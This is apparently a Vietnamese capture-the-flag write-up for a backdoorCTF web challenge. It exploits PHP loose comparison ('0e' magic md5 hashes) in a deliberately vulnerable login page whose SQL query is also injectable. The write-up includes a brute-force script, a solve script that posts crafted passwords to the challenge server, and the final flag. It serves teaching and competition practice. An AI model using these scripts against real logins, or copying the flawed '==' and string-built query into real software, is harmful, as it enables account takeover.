# Task

## Recon
Khi vừa vào trong trang web là một cái trang để mình có thể đăng nhập vào

Nhưng các bạn nhập thế nào đi chăng nữa cũng chẳng có gì xảy ra cả đâu nên là mình bắt đầu review source code
Sau khi thực hiện static analysis thì mình thấy cái phần mình cần tấn công nó nằm ở khu vực này
```php=
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST['username'];
$password = $_POST['password'];
if (empty($username) || empty($password)) {
echo "Please fill in both fields.";
} else {
$query = "SELECT username, password, bio FROM users WHERE username = '$username' ";
$result = $conn->query($query);
$mysupersecurehash = md5(2*2*13*13*((int)$password));
var_dump($password);
echo "<br>";
echo "mysupersecurehash:";
var_dump($mysupersecurehash);
echo "<br>";
$i =0 ;
while ($row = mysqli_fetch_row($result)) {
echo "row 1: befor using (int)" . $row[1];
echo "<br>";
echo "row 1: after using (int)" . (int)$row[1];
if ((int)$row[1] == $mysupersecurehash) {
echo "First condition done!";
}
if((int)$row[1] == $mysupersecurehash && $mysupersecurehash == 0e0776470569150041331763470558650263116470594705){
echo "<h1>You win</h1> \n";
echo "Did you really? \n";
echo "<tr><td>" .$i. " </td><td> " . $row[0] . " </td><td> " . $row[1] . " </td><td> " . $row[2] . " </td></tr>";
$i++;
}else{
echo "<h1>Wrong password</h1>";
}
```
Khi mình thấy sử dụng là "==" là mình biết ngay là phải dùng đến php type juggling rồi nhưng trước khi thực hiện được type juggling thì biến password của chúng ta sẽ bị nhân thêm một chút nó sẽ nhân thêm 2 * 2 * 13 * 13 sau đó thì lưu vào biến mysupersecurehash sau đó thì thực hiện so sánh đầu tiên là ép kiểu row[1] thành integer và so với cái biến hash md5 của chúng ta và so sánh cái biến mysupersecurehash đấy với một giá trị md5
Hướng đi của mình là tìm ra được một giá trị mà sau khi nó nhân với một loạt các số ở trên thì nó sẽ ra được một đoạn hash chứa giá trị là 0e bởi khi 0e bị ép kiểu thì sẽ trở thành là 0 và 0 = "0e123" có thể xem thêm ở [đây](https://viblo.asia/p/php-type-juggling-924lJPYWKPM)
Ở trong đoạn sql để tạo các user ta cũng có thể thấy được rằng
```sqli=
-- Create the 'users' table
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255),
password VARCHAR(255),
bio TEXT
);
-- Insert 500 random values into the 'users' table
DELIMITER //
CREATE PROCEDURE GenerateRandomUsers()
BEGIN
DECLARE i INT DEFAULT 0;
WHILE i < 500 DO
IF i = 100 THEN
INSERT INTO users (username, password, bio)
VALUES (
CONCAT('admin', i),
'REDACTED',
'Flag{REDACTED}'
);
ELSE
INSERT INTO users (username, password, bio)
VALUES (
CONCAT('admin', i),
MD5(CONCAT('admin',i,RAND())),
CONCAT('Bio for admin', i)
);
END IF;
SET i = i + 1;
END WHILE;
END //
DELIMITER ;
-- Call the procedure to generate random users
CALL GenerateRandomUsers();
-- Drop the procedure (optional)
DROP PROCEDURE IF EXISTS GenerateRandomUsers;
```
Password sẽ được lưu ở dạng md5 nên mình khá chắc là phải bruteforce tìm ra được một số sau khi hash có bắt đầu là "0e"
Mình viết một đoạn script nhỏ để có thể đẩy nhanh quá trình
```python=
import re
import hashlib
pattern = re.compile(r'^0e\d+$')
md5jugging = 0
for i in range(1, 1000000):
result = hashlib.md5(str(i * 2 * 2 * 13 * 13).encode()).hexdigest()
if pattern.match(result):
print(f"Found {i} has an md5 hash starting with 0e: {result}")
md5jugging = i
break
```
Mình có giá trị là 355933 sau khi chạy đoạn script trên

Có giá trị để gây ra php type juggling rồi giờ thì viết script để tìm flag thôi
```python=
import requests
from bs4 import BeautifulSoup
import re
import hashlib
pattern = re.compile(r'^0e\d+$')
md5jugging = 0
for i in range(1, 1000000):
result = hashlib.md5(str(i * 2 * 2 * 13 * 13).encode()).hexdigest()
if pattern.match(result):
print(f"Found {i} has an md5 hash starting with 0e: {result}")
md5jugging = i
break
url = "http://34.132.132.69:8000/?user=all"
response = requests.get(url).text
soup = BeautifulSoup(response, "html.parser")
user_list = []
rows = soup.find_all("tr")
for row in rows:
td_tags = row.find_all("td")
if (len(td_tags) >= 3) and (td_tags[2].text.startswith("0e")):
user_dict = {
'username': td_tags[1].text,
'password': td_tags[2].text
}
user_list.append(user_dict)
for data in user_list:
payload = {
"username" : data["username"],
"password" : f"{md5jugging}"
}
response = requests.post(url="http://34.132.132.69:8000/", data=payload).text
if ("You win" in response):
soup2 = BeautifulSoup(response, "html.parser")
notification = soup2.find_all("td")
for noti in notification:
if ("flag" in noti.text):
print(noti.text)
break
```
## Flag

```
flag{1m40_php_15_84d_47_d1ff323n71471n9_7yp35}
```
Toàn bộ source code có thể xem ở [đây](https://github.com/khacminh03/CTF-Write-Up/tree/main/backdoorCTF/too-many-admins)